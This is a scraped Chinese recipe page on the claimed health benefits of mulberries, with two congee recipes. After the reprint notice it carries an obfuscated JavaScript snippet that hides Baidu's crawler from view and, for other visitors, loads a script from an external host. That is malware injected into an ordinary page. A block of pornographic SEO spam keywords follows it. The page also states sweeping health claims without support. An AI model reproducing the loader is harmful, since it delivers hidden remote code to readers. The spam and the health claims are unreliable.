當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

桑葚的功效-桑葚芝麻粥的做法

2015-06-29 08:30:52  來源:360常識網   熱度:
導語:桑葚中的脂肪酸具有分解脂肪、調節血脂、防止血管硬化等作用。另外,現代醫學研究證明,桑葚也具有降血糖的功效。桑葚可改善皮膚血液供應,

桑葚中的脂肪酸具有分解脂肪、調節血脂、防止血管硬化等作用。另外,現代醫學研究證明,桑葚也具有降血糖的功效。桑葚可改善皮膚血液供應,使皮膚白嫩。

桑葚的功效-桑葚芝麻粥的做法
桑葚的功效-桑葚芝麻粥的做法

桑葚的功效

桑葚中的脂肪酸具有分解脂肪、調節血脂、防止血管硬化等作用。另外,現代醫學研究證明,桑葚也具有降血糖的功效。桑葚可改善皮膚血液供應,使皮膚白嫩。同時,桑葚對溶血性反應有增強作用,可防止人體動脈硬化,骨骼關節硬化,還具有安神醒酒、祛風濕等作用。

桑葚芝麻粥

原料:桑葚60克,大米100克,白糖、黑芝麻各30克。

做法:

1、將桑葚、黑芝麻、大米洗凈備用;

2、往鍋加適量清水,然后放入桑葚、黑芝麻、大米;

3、待粥熟爛后,加入白糖即可。

功效:滋陰養血,補益肝腎。

桑葚枸杞豬肝粥

原料:桑葚15克,粳米、豬肝各100克,枸杞10克,精鹽適量。

做法:

1、粳米淘洗干凈,用冷水浸泡半小時,撈出,瀝干水分;

2、桑葚洗凈,去雜質;

3、枸杞洗凈,用溫水泡軟,去雜質;

4、豬肝洗凈,切成薄片;

5、把粳米放入鍋內,加入適量清水,用大火煮沸,撇去上層浮沫,再加入桑葚、枸杞和豬肝片,改用小火慢慢熬煮;

6、待粳米熟爛之后,加入精鹽拌勻即可。

功效:滋養肝腎,養血明目。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品无码无需播放器| 精品国产三级a∨在线| 中文无码精品A∨在线观看不卡| 亚洲乱人伦精品图片| 四虎永久在线精品影院| 91久久精品国产91久久性色也| 精品人妻中文无码AV在线| 亚洲国产精品成人精品小说 | 久久精品国产亚洲AV麻豆不卡| 精品伊人久久久香线蕉| 久久久久亚洲精品无码蜜桃| 狠狠精品久久久无码中文字幕| 亚洲乱码一区二区三区国产精品 | 无码人妻精品一区二区蜜桃网站 | 黄床大片免费30分钟国产精品 | 精品成人乱色一区二区| 国产亚洲精品激情都市| 精品精品国产理论在线观看| 亚洲精品日韩一区二区小说| 国产精品自产拍在线18禁| 亚洲AV无码国产精品永久一区| 99久热re在线精品996热视频| 成人午夜亚洲精品无码网站| 国内揄拍国内精品对白86| 久久国产精品61947| 国产亚洲精品影视在线产品| 国产成人精品999在线| 在线播放偷拍一区精品| 中文字幕精品一区影音先锋| 国产精品免费大片| 国产一区麻豆剧传媒果冻精品 | 国内精品久久久久久无码不卡| 久久香蕉超碰97国产精品| 亚洲精品无码成人片久久| 国产成人精品曰本亚洲79ren| 国产精品综合在线| 亚洲精品无码av中文字幕| 国产精品免费观看| 亚欧在线精品免费观看一区| 揄拍自拍日韩精品| 91麻豆精品在线观看|